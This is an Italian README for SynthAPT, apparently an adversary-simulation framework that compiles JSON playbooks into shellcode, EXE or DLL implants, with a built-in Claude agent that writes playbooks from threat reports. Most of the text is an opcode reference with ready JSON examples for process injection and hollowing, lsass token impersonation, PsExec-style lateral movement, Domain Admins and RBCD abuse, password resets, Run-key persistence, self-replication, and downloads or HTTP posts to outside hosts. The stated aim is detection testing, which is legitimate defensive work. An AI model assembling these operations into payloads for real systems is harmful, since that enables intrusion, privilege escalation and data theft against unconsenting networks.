SynthAPT

Panoramica
SynthAPT è un framework di simulazione avversaria basato su playbook per replicare percorsi di attacco complessi. È progettato per convalidare rilevamenti avanzati e agenti di investigazione basati su IA. L'idea centrale è che il comportamento del malware può essere espresso in JSON e compilato in malware funzionale, consentendo uno sviluppo rapido di scenari realistici utilizzando LLM.

L'impianto principale è un payload shellcode guidato da un interprete di playbook. Un playbook predefinisce l'intero percorso di attacco e l'impianto lo segue, spostandosi nell'ambiente tramite injection di processi, movimento laterale, ecc. Ogni impianto viene generato come thread indipendente con il proprio set di istruzioni, quindi gli attacchi multi-stadio (es. accesso iniziale → privilege escalation → movimento laterale → esfiltrazione) sono espressi come un grafo di impianti cooperanti, tutti definiti a priori nel playbook. Questo ha tre principali vantaggi:
- I payload possono imitare malware reali senza infrastruttura C2 - l'intero percorso di attacco è incorporato nel payload e le interazioni C2 possono essere simulate
- I payload sono ripetibili - eseguono l'intero percorso di attacco in modo identico ogni volta, rendendoli adatti per test di regressione dei rilevamenti
- Gli LLM possono tradurre report di threat intelligence e blog direttamente in payload funzionanti, senza richiedere competenze offensive o costruire malware da zero

Caratteristiche
- Shellcode indipendente dalla posizione - l'impianto è completamente PIC e può essere integrato in qualsiasi loader o injector
- Ricca libreria di opcode - esecuzione, manipolazione dei token, injection di processi, process hollowing, movimento laterale, enumerazione e modifica AD, registro, servizi e altro
- Payload auto-replicanti - l'impianto può rilasciare se stesso come EXE o DLL con un diverso set di task, consentendo la distribuzione multi-stadio senza C2
- Formati di output flessibili - compila un playbook in shellcode grezzo, un PE EXE o un PE DLL
- Python in memoria - un interprete Python può essere caricato riflessivamente a runtime, esponendo tutte le capacità dell'impianto come modulo Python per scripting flessibile
- Simulazione NPC - gli opcode 'explorer' consentono di decomprimere e lanciare payload automaticamente in modo da riprodurre automaticamente artefatti di interazione utente (quando iniettati in Explorer.exe)
- Editor TUI con agente LLM - un editor di playbook basato su terminale con un agente Claude integrato che può generare e modificare playbook da linguaggio naturale o threat intelligence
- Caricatore BOF - la funzionalità può essere estesa con file Beacon Object File standard
Compilazione dal sorgente
Se non vuoi usare la release puoi compilarlo come segue:
- cargo
- rustup
- binutils-mingw-w64-x86-64```bash
cargo install cargo-make
rustup toolchain install nightly
rustup target add x86_64-pc-windows-gnu --toolchain nightly
sudo apt install gcc-mingw-w64-x86-64
Compila con cargo make:```bash
cargo make build
./target/release/synthapt
This compilerà lo shellcode e l'editor.
Use
Eseguire SynthAPT senza alcun comando ti porterà nell'editor. Puoi fornire una chiave API di Claude e vedere le modifiche mentre scrivi i prompt.```bash
SynthAPT playbook editor and compiler
Usage: synthapt [COMMAND]
Commands:
edit Open the TUI editor with a playbook loaded from PATH
validate Validate a playbook JSON file and print any errors
export-skill Export the agent system prompt as a Claude Code slash command skill
compile Compile a playbook to a payload
Se vuoi utilizzare un altro LLM o un abbonamento, puoi eseguire `synthapt export-skill` e usarlo con qualsiasi configurazione di codice tu abbia.
Dovrebbe generare un playbook JSON. Compilalo in un payload con il comando compile:
???```bash
Compile a playbook to a payload
Usage: synthapt compile [OPTIONS] <PLAYBOOK> [OUTPUT]
Arguments:
<PLAYBOOK> Path to the playbook JSON file
[OUTPUT] Output file path (default: payload.bin / payload.exe / payload.dll)
Options:
-e, --exe Compile to PE EXE
-d, --dll Compile to PE DLL
-b, --base <BASE> Override the embedded base shellcode with a custom binary
-h, --help Print help
Riferimento agli opcode
Le costanti possono essere definite come stringhe, oggetti esadecimali o oggetti base64:```json
"constants": [
"c:\windows\temp\file.txt",
{ "hex": "deadbeef" },
{ "base64": "SGVsbG8=" }
]
---
### end (0x00)
Fine del set di attività. Aggiunto automaticamente dal compilatore - non è necessario aggiungerlo.
---
### store_result (0x01)
Salva il risultato dell'ultima operazione in una variabile.
| Campo | Tipo | |
|-------|------|-|
| var | u16 | **obbligatorio** |```json
{ "op": "store_result", "var": 0 }
get_shellcode (0x02)
Restituisce i byte dello shellcode corrente con un ID task opzionale e/o un valore magic inseriti.
| Field | Type | |
|---|
| task | u8 | opzionale |
| magic | u32 hex string or number | opzionale |
### sleep (0x03)
Dormi per il numero di millisecondi specificato.
| Campo | Tipo | |
|-------|------|-|
| ms | u32 | **richiesto** |```json
{ "op": "sleep", "ms": 5000 }
run_command (0x04)
Esegue un comando tramite cmd.exe.
| Campo | Tipo | |
|---|
| command | string | obbligatorio |
| { "op": "run_command", "command": "whoami /all" } | | |
---
### get_cwd (0x05)
Ottiene la directory di lavoro corrente. Nessun argomento.```json
{ "op": "get_cwd" }
read_file (0x06)
Legge un file e ne restituisce il contenuto.
| Campo | Tipo | |
|---|
| path | string | obbligatorio |
| { "op": "read_file", "path": "c:\users\public\data.txt" } | | |
| { "op": "read_file", "path": "%0" } | | |
### write_file (0x07)
Scrive byte in un file.
| Campo | Tipo | |
|-------|------|-|
| path | string | **richiesto** |
| content | bytes | *opzionale* (file vuoto se omesso) |```json
{ "op": "write_file", "path": "c:\\temp\\out.txt", "content": "hello" }
{ "op": "write_file", "path": "%0", "content": "$1" }
check_error (0x08)
Stampa il codice di stato di una variabile (0 = successo, non-zero = errore).
| Campo | Tipo | |
|---|
| var | u16 | richiesto |
| { "op": "check_error", "var": 0 } | | |
### condizionale (0x09)
Dirama verso diversi indici di attività in base allo stato di una variabile.
| Campo | Tipo | |
|-------|------|-|
| mode | `"data"` o `"error"` | **obbligatorio** |
| var1 | u16 | **obbligatorio** |
| var2 | u16 | *opzionale* (confronta due variabili invece di un singolo controllo) |
| true | u16 | **obbligatorio** (indice dell'attività se la condizione è vera) |
| false | u16 | **obbligatorio** (indice dell'attività se la condizione è falsa) |
`true_target` e `false_target` sono accettati come alias per `true` e `false`.
Modalità a singola variabile:
- `"data"` — vero se var1 ha dati non vuoti
- `"error"` — vero se lo stato di var1 è 0 (successo)
Modalità a due variabili (var2 presente):
- `"data"` — vero se i dati di var1 sono uguali ai dati di var2
- `"error"` — vero se il codice di errore di var1 è uguale al codice di errore di var2```json
{ "op": "conditional", "mode": "error", "var1": 0, "true": 3, "false": 5 }
{ "op": "conditional", "mode": "data", "var1": 0, "var2": 1, "true": 3, "false": 5 }
set_var (0x0A)
Imposta una variabile su un valore letterale.
| Field | Type | |
|---|
| var | u16 | richiesto |
| data | bytes | opzionale (vuoto se omesso) |
I valori letterali di stringa e hex/base64 sono memorizzati con un prefisso del risultato di 5 byte in modo che appaiano come normali risultati di operazione quando vengono letti. I riferimenti a variabile ($n) e costante (%n) vengono passati così come sono.```json
{ "op": "set_var", "var": 0, "data": "hello world" }
{ "op": "set_var", "var": 1, "data": { "hex": "deadbeef" } }
### print_var (0x0B)
Stampa il contenuto di una variabile su stdout (debug). Ometti `var` per stampare l'ultimo risultato dell'operazione.
| Field | Type | |
|-------|------|-|
| var | u16 | *opzionale* (stampa l'ultimo risultato se assente) |```json
{ "op": "print_var", "var": 0 }
{ "op": "print_var" }
goto (0x0C)
Salto incondizionato a un indice di task all'interno del set di task corrente.
| Field | Type | |
|---|
| target | u16 | obbligatorio |
| { "op": "goto", "target": 2 } | | |
---
### migrate (0x0D)
Inietta shellcode in un processo che corrisponde a una stringa di ricerca o PID.
| Campo | Tipo | |
|-------|------|-|
| task_id | u8 | **obbligatorio** |
| search | string or number | *opzionale* (vuoto = nessuna ricerca; numero = PID target) |
| magic | u32 hex string or number | *opzionale* |```json
{ "op": "migrate", "task_id": 1, "search": "explorer.exe" }
{ "op": "migrate", "task_id": 1, "search": 1234 }
{ "op": "migrate", "task_id": 1, "search": "notepad", "magic": "0x18181818" }
list_procs (0x0E)
Elenca i processi in esecuzione. Restituisce righe separate da tabulazione: pid\timage\tcmdline\n. Nessun argomento.```json
{ "op": "list_procs" }
---
### get_const (0x0F)
Carica una costante nell'ultimo risultato. Accetta `index` o `const_idx` come nome del campo.
| Field | Type | |
|-------|------|-|
| index | u16 | **obbligatorio** |```json
{ "op": "get_const", "index": 0 }
wmi_exec (0x10)
Esegui un comando tramite WMI, opzionalmente su un host remoto.
### http_send (0x11)
Invia una richiesta HTTP/S.
| Campo | Tipo | |
|-------|------|-|
| host | string | **obbligatorio** |
| method | string | *opzionale* (default: `"GET"`) |
| port | u16 | *opzionale* (default: `80`) |
| path | string | *opzionale* (default: `"/"`) |
| secure | bool | *opzionale* (default: `false`) |
| body | bytes | *opzionale* (vuoto se omesso) |```json
{ "op": "http_send", "host": "example.com" }
{ "op": "http_send", "method": "POST", "host": "10.0.0.1", "port": 443, "path": "/data", "secure": true, "body": "$0" }
sacrificial (0x12)
Avvia un processo sospeso, inietta shellcode e riprendilo.
---
### redirect_stdout (0x13)
Reindirizza stdout a un file o a una named pipe. L'output successivo di `run_command` viene inviato lì.
| Campo | Tipo | |
|-------|------|-|
| path | string | **richiesto** |```json
{ "op": "redirect_stdout", "path": "c:\\temp\\log.txt" }
{ "op": "redirect_stdout", "path": "\\\\.\\pipe\\output" }
shellcode_server (0x14)
Avvia un server TCP che fornisce shellcode ai client connessi. Ogni client riceve una copia con un valore magico incrementale.
| Campo | Tipo | |
|---|
| port | u16 | obbligatorio |
| magic_base | u32 stringa esadecimale o numero |
---
### resolve_hostname (0x15)
Risolvi un hostname in una stringa di indirizzo IPv4.
| Field | Type | |
|-------|------|-|
| hostname | string | **richiesto** |```json
{ "op": "resolve_hostname", "hostname": "dc01.corp.local" }
psexec (0x16)
Copia un binario su un host remoto tramite SMB e lo esegue come servizio (movimento laterale stile PsExec).
---
### generate_exe (0x17)
Genera un eseguibile PE con lo shellcode e il bytecode correnti incorporati.
| Field | Type | |
|-------|------|-|
| task_id | u8 | **required** |```json
{ "op": "generate_exe", "task_id": 1 },
{ "op": "store_result", "var": 0 },
{ "op": "write_file", "path": "c:\\temp\\payload.exe", "content": "$0" }
run_bof (0x18)
Esegue un Beacon Object File (BOF).
---
### query_ldap (0x19)
Interroga una directory LDAP.
| Campo | Tipo | |
|-------|------|-|
| base | string | **obbligatorio** (base DN) |
| filter | string | **obbligatorio** |
| scope | u8 | *opzionale* (predefinito: `2` = subtree; `0` = base, `1` = one-level) |
| attribute | string | *opzionale* (vuoto = restituisce tutti gli attributi) |```json
{ "op": "query_ldap", "base": "DC=corp,DC=local", "filter": "(objectClass=user)", "attribute": "sAMAccountName" }
{ "op": "query_ldap", "base": "DC=corp,DC=local", "filter": "(&(objectClass=computer)(operatingSystem=*Server*))", "scope": 2 }
set_ad_attr_str (0x1A)
Imposta un attributo di Active Directory su un valore stringa.
---
### set_ad_attr_bin (0x1B)
Imposta un attributo di Active Directory su un valore binario. Passa un valore vuoto per eliminare l'attributo.
| Field | Type | |
|-------|------|-|
| dn | string | **obbligatorio** |
| attr | string | **obbligatorio** |
| value | bytes | **obbligatorio** (vuoto = elimina attributo) |```json
{ "op": "set_ad_attr_bin", "dn": "CN=target,CN=Computers,DC=corp,DC=local", "attr": "msDS-AllowedToActOnBehalfOfOtherIdentity", "value": "$0" }
portscan (0x1C)
Scansiona le porte TCP su uno o più target. Restituisce righe host\tport\n solo per le porte aperte.
---
### set_user_password (0x1D)
Imposta la password di un utente locale o di dominio tramite NetUserSetInfo.
| Campo | Tipo | |
|----------|--------|-------------------|
| username | string | **obbligatorio** |
| password | string | **obbligatorio** |
| server | string | *opzionale* (vuoto = macchina locale) |```json
{ "op": "set_user_password", "username": "Administrator", "password": "NewP@ss1" }
{ "op": "set_user_password", "server": "dc01.corp.local", "username": "svc_account", "password": "NewP@ss1" }
add_user_to_localgroup (0x1E)
Aggiungi un utente a un gruppo locale tramite NetLocalGroupAddMembers.
### remove_user_from_localgroup (0x1F)
Rimuove un utente da un gruppo locale tramite NetLocalGroupDelMembers.
| Campo | Tipo | |
|-------|------|-|
| group | string | **obbligatorio** |
| username | string | **obbligatorio** |
| server | string | *opzionale* (vuoto = macchina locale) |```json
{ "op": "remove_user_from_localgroup", "group": "Administrators", "username": "backdoor" }
get_user_sid (0x20)
Cerca la stringa SID di un utente tramite LookupAccountName.
| Campo | Tipo | |
|---|
| username | string | obbligatorio |
| server | string | opzionale (vuoto = macchina locale) |
Restituisce una stringa SID, ad es. S-1-5-21-....```json
{ "op": "get_user_sid", "username": "Administrator" }
{ "op": "get_user_sid", "server": "dc01.corp.local", "username": "attacker$" }
---
### add_user_to_group (0x21)
Aggiunge un utente a un gruppo di dominio tramite NetGroupAddUser.
| Field | Type | |
|-------|------|-|
| group | string | **richiesto** |
| username | string | **richiesto** |
| server | string | *opzionale* (vuoto = DC locale) |```json
{ "op": "add_user_to_group", "server": "dc01.corp.local", "group": "Domain Admins", "username": "compromised" }
remove_user_from_group (0x22)
Rimuove un utente da un gruppo di dominio tramite NetGroupDelUser.
---
### create_rbcd_ace (0x23)
Costruisce un ACE binario per la delega vincolata basata sulle risorse. Il risultato è adatto per la scrittura diretta su `msDS-AllowedToActOnBehalfOfOtherIdentity`.
| Campo | Tipo | |
|-------|------|-|
| sid | string | **obbligatorio** (stringa SID, ad esempio da `get_user_sid`) |```json
{ "op": "get_user_sid", "username": "attacker$" },
{ "op": "store_result", "var": 0 },
{ "op": "create_rbcd_ace", "sid": "$0" },
{ "op": "store_result", "var": 1 },
{ "op": "set_ad_attr_bin", "dn": "CN=target,CN=Computers,DC=corp,DC=local", "attr": "msDS-AllowedToActOnBehalfOfOtherIdentity", "value": "$1" }
reg_create_key (0x24)
Crea una chiave di registro.
| Campo | Tipo | |
|---|
| key | string | obbligatorio (percorso completo, ad es. "HKLM\\SOFTWARE\\MyApp") |
| { "op": "reg_create_key", "key": "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" } | | |
---
### reg_delete_key (0x25)
Elimina una chiave di registro.
| Campo | Tipo | |
|-------|------|-|
| key | string | **obbligatorio** |```json
{ "op": "reg_delete_key", "key": "HKLM\\SOFTWARE\\MyApp" }
reg_set_value (0x26)
Imposta un valore di registro.
---
### reg_query_value (0x27)
Interroga un valore di registro. Restituisce i byte grezzi del valore.
| Campo | Tipo | |
|-------|------|-|
| key | string | **obbligatorio** |
| value_name | string | **obbligatorio** (stringa vuota per il valore predefinito) |```json
{ "op": "reg_query_value", "key": "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "value_name": "ProductName" }
make_token (0x28)
Crea un token di impersonificazione tramite LogonUser e lo impersona. Il tipo di logon predefinito è 9 (LOGON32_LOGON_NEW_CREDENTIALS), che utilizza le credenziali fornite per le connessioni di rete in uscita mantenendo invariato il token locale.
---
### impersonate_process (0x29)
Apre un token di processo e lo impersona. Utile per escalation dei privilegi o furto laterale di token.
| Field | Type | |
|-------|------|-|
| search | string | **obbligatorio** (corrisponde al nome dell'immagine o alla riga di comando) |```json
{ "op": "impersonate_process", "search": "lsass" }
{ "op": "impersonate_process", "search": "winlogon.exe" }
enable_privilege (0x2A)
Abilita un privilegio su un token di processo.
---
### list_process_privs (0x2B)
Elenca i nomi dei privilegi e il loro stato abilitato/disabilitato per un processo. Restituisce righe `name\tenabled\n` o `name\tdisabled\n`.
| Field | Type | |
|-------|------|-|
| search | string | *opzionale* (vuoto = processo corrente) |```json
{ "op": "list_process_privs" }
{ "op": "list_process_privs", "search": "explorer" }
list_thread_privs (0x2C)
Elenca i privilegi sul token del thread corrente. Restituisce lo stesso formato di list_process_privs. Nessun argomento.```json
{ "op": "list_thread_privs" }
---
### delete_file (0x2D)
Elimina un file.
| Campo | Tipo | |
|-------|------|-|
| path | string | **obbligatorio** |```json
{ "op": "delete_file", "path": "c:\\temp\\payload.exe" }
revert_to_self (0x2E)
Ripristina il token del processo originale, terminando qualsiasi impersonificazione. Nessun argomento.```json
{ "op": "revert_to_self" }
### start_service (0x2F)
Avvia un servizio Windows.
| Campo | Tipo | |
|-------|------|-|
| service_name | string | **obbligatorio** |
| target | string | *opzionale* (vuoto = macchina locale) |```json
{ "op": "start_service", "service_name": "MySvc" }
{ "op": "start_service", "target": "192.168.1.10", "service_name": "MySvc" }
delete_service (0x30)
Elimina un servizio Windows.
| Campo | Tipo | |
|---|
| service_name | string | |
---
### create_thread (0x31)
Crea un nuovo thread nel processo corrente che esegue una copia dello shellcode. Se `magic` viene omesso, scansiona gli heap del processo per trovare un magic unico che non entri in collisione con istanze esistenti.
| Field | Type | |
|-------|------|-|
| task | u8 | *opzionale* (ometti o `255` = stesso task set del thread corrente) |
| magic | u32 hex string or number | *opzionale* (rilevato automaticamente se omesso) |
> **Attenzione**: omettendo `task` viene eseguito lo stesso task set in un nuovo thread. Se il task set chiama `create_thread` di nuovo, questo causa thread infiniti.```json
{ "op": "create_thread", "task": 2 }
{ "op": "create_thread", "task": 2, "magic": "0x18181818" }
generate_dll (0x32)
Genera una DLL con lo shellcode corrente incorporato. Esegue lo shellcode su DLL_PROCESS_ATTACH ed esporta una funzione nominata che esegue anch'essa lo shellcode.
---
### shell_execute (0x33)
Esegue un file utilizzando ShellExecuteEx tramite COM. Il processo risultante appare essere avviato dalla shell.
| Campo | Tipo | |
|-------|------|-|
| path | string | **obbligatorio** |
| verb | string | *opzionale* (ad es. `"open"`, `"runas"`) |
| args | string | *opzionale* |```json
{ "op": "shell_execute", "path": "C:\\Windows\\System32\\cmd.exe", "verb": "open", "args": "/c whoami" }
{ "op": "shell_execute", "path": "C:\\Users\\Public\\payload.exe", "verb": "runas", "args": "" }
Estrai un archivio ZIP utilizzando la Shell di Windows.
| Campo | Tipo | |
|---|
| path | string | obbligatorio (percorso del file ZIP) |
Estrae in una cartella con lo stesso nome del file ZIP (senza estensione) nella stessa directory.```json
{ "op": "shell_extract", "path": "C:\Users\alice\Downloads\Invoice_2024.zip" }
---
### shell_execute_explorer (0x35)
Esegue un file tramite explorer.exe come processo padre utilizzando COM. Il processo generato appare come se fosse stato avviato dall'utente da Esplora file.
| Campo | Tipo | |
|-------|------|-|
| path | string | **obbligatorio** |
| verb | string | *opzionale* |
| args | string | *opzionale* |```json
{ "op": "shell_execute_explorer", "path": "C:\\Users\\alice\\Downloads\\Invoice.js", "verb": "open", "args": "" }
load_library (0x36)
Carica una DLL nel processo corrente tramite LoadLibraryW.
| Campo | Tipo | |
|---|
| path | string | richiesto |
| { "op": "load_library", "path": "C:\Users\Public\payload.dll" } | | |
---
### pyexec (0x37)
Scarica una DLL Python da un URL (memorizzata nella cache in memoria dopo il primo download), quindi esegue uno script Python. Espone un modulo `agent` con collegamenti a tutti i codici operativi dell'agente.
| Field | Type | |
|-------|------|-|
| url | string | *opzionale* (URL della DLL Python; vuoto = usa Python già caricato) |
| script | string | *opzionale* (codice Python da eseguire; vuoto = inizializza senza eseguire) |```json
{ "op": "pyexec", "url": "http://10.0.0.1/python312.dll", "script": "import agent; print(agent.get_cwd())" }
{ "op": "pyexec", "url": "http://10.0.0.1/python312.dll", "script": "" }
{ "op": "pyexec", "script": "import agent; agent.run_command('calc.exe')" }
hollow (0x38)
Process hollowing: crea un processo legittimo sospeso, sovrascrivi il suo punto di ingresso con shellcode e riprendi.
---
### migrate_apc (0x39)
Avvia un processo in sospensione, alloca memoria RWX, scrive shellcode, accoda un APC al thread principale e riprende. Restituisce il PID del processo avviato.
| Campo | Tipo | |
|-------|------|-|
| image | string | **richiesto** |
| task_id | u8 | **richiesto** |
| magic | u32 stringa esadecimale o numero | *opzionale* |```json
{ "op": "migrate_apc", "image": "C:\\Windows\\System32\\notepad.exe", "task_id": 1 }
{ "op": "migrate_apc", "image": "C:\\Windows\\System32\\svchost.exe", "task_id": 1, "magic": "0x18181818" }
register_service (0x3A)
Registra il processo corrente come servizio Windows chiamando StartServiceCtrlDispatcher. Deve essere chiamato presto quando il processo viene avviato dal Service Control Manager, altrimenti SCM lo ucciderà dopo circa 30 secondi. Esegue la comunicazione SCM in un thread in background in modo che il task principale continui normalmente.
| Field | Type | |
|---|
| service_name | string | richiesto (alias: name) |
| { "op": "register_service", "service_name": "MySvc" } | | |
### exit_process (0x3B)
Termina il processo corrente.
| Campo | Tipo | |
|-------|------|-|
| exit_code | u32 | *opzionale* (predefinito: `0`) |```json
{ "op": "exit_process" }
{ "op": "exit_process", "exit_code": 1 }
hollow_apc (0x3C)
Avvia un processo sospeso e inietta shellcode tramite APC. Simile a migrate_apc ma con spoofing opzionale del PPID.
---
### frida_hook (0x3F)
Scarica una DLL Frida gadget da un URL (memorizzata nella cache dopo il primo download) e installa un hook JavaScript.
| Field | Type | |
|-------|------|-|
| url | string | **richiesto** |
| script | string | **richiesto** (JavaScript che utilizza l'API di Frida) |
| name | string | *opzionale* (nome dell'hook per riferimento futuro con `frida_unhook`) |
| callback_host | string | *opzionale* (host a cui inviare i messaggi `send()` tramite HTTP POST) |
| callback_port | u16 | *opzionale* |
| batch_size | u32 | *opzionale* (messaggi per batch HTTP POST; predefinito: `50`) |
| flush_interval | u32 | *opzionale* (intervallo di flush in ms; predefinito: `5000`) |
I messaggi inviati tramite `send()` in JavaScript vengono pubblicati su `callback_host:callback_port/frida` o scritti su stdout se non è configurato alcun callback.```json
{ "op": "frida_hook", "url": "http://10.0.0.1/frida.dll", "script": "Interceptor.attach(Module.findExportByName('kernel32.dll', 'CreateFileW'), { onEnter: function(args) { send(args[0].readUtf16String()); } });" }
{ "op": "frida_hook", "url": "http://10.0.0.1/frida.dll", "script": "...", "name": "my_hook", "callback_host": "10.0.0.5", "callback_port": 8080 }
frida_unhook (0x40)
Rimuovi un hook di Frida. Senza argomenti, rimuove tutti gli hook.
### kill (0x42)
Uccidi un'istanza agente in esecuzione tramite il suo valore magico.
| Campo | Tipo | |
|-------|------|-|
| magic | u32 hex string or number | *opzionale* (ometti per uccidere l'istanza corrente) |```json
{ "op": "kill" }
{ "op": "kill", "magic": "0x18181818" }
http_beacon (0x43)
Connettersi a un server C2 HTTP e interrogare per attività di bytecode.
---
### mem_read (0x44)
Legge byte grezzi da un indirizzo di memoria nel processo corrente o remoto.
| Campo | Tipo | |
|-------|------|-|
| address | stringa esadecimale | **obbligatorio** (indirizzo come caratteri esadecimali, es. `"7FFE0030"`; il prefisso `0x` viene rimosso automaticamente) |
| size | u32 | **obbligatorio** |
| pid | u32 | *opzionale* (processo remoto; ometti per lettura locale) |```json
{ "op": "mem_read", "address": "7FFE0030", "size": 64 }
{ "op": "mem_read", "address": "0x7FFE0000", "size": 256, "pid": 1234 }
{ "op": "mem_read", "address": "$0", "size": 128 }
dll_list (0x45)
Percorre la lista InLoadOrderModuleList del PEB LDR e restituisce i moduli caricati. Restituisce un Vec<ProcessResult<ModuleInfo>> serializzato in formato postcard.
---
### mem_map (0x46)
Enumera le regioni della memoria virtuale tramite `VirtualQuery`/`VirtualQueryEx`. Restituisce serializzato in postcard `Vec<ProcessResult<MemRegion>>`. Salta le regioni FREE; le regioni IMAGE includono il nome del modulo e la sezione PE.
| Campo | Tipo | |
|-------|------|-|
| pid | u32 or `"all"` | *opzionale* (omesso = processo corrente; `"all"` = ogni processo accessibile) |```json
{ "op": "mem_map" }
{ "op": "mem_map", "pid": 1234 }
{ "op": "mem_map", "pid": "all" }
malfind (0x47)
Trova regioni di memoria eseguibile privata impegnata — indicatori di shellcode iniettato o DLL riflessive. Salta le pagine tutte a zero e segnala le regioni con header MZ. Restituisce Vec<ProcessResult<MalfindHit>> serializzato in postcard.
---
### ldr_check (0x48)
Incrocia le regioni di memoria IMAGE con l’elenco dei moduli PEB per trovare DLL scollegate o nascoste — regioni con header MZ non presenti in `InLoadOrderModuleList`. Restituisce `Vec<ProcessResult<LdrCheckHit>>` serializzato in formato postcard.
| Field | Type | |
|-------|------|-|
| pid | u32 or `"all"` | *opzionale* (omesso = processo corrente; `"all"` = ogni processo accessibile) |```json
{ "op": "ldr_check" }
{ "op": "ldr_check", "pid": 1234 }
{ "op": "ldr_check", "pid": "all" }
Rilevamento
Come tutti i framework, l'impianto ha una footprint di memoria distinta e molte stringhe in chiaro che lo rivelano. Puoi creare firme basate sul file shellcode di base: out/shellcode.bin
Attribuzione
Questo progetto estende Rustic64Shell di safedev.
La DLL Python caricata riflessivamente proviene da farfella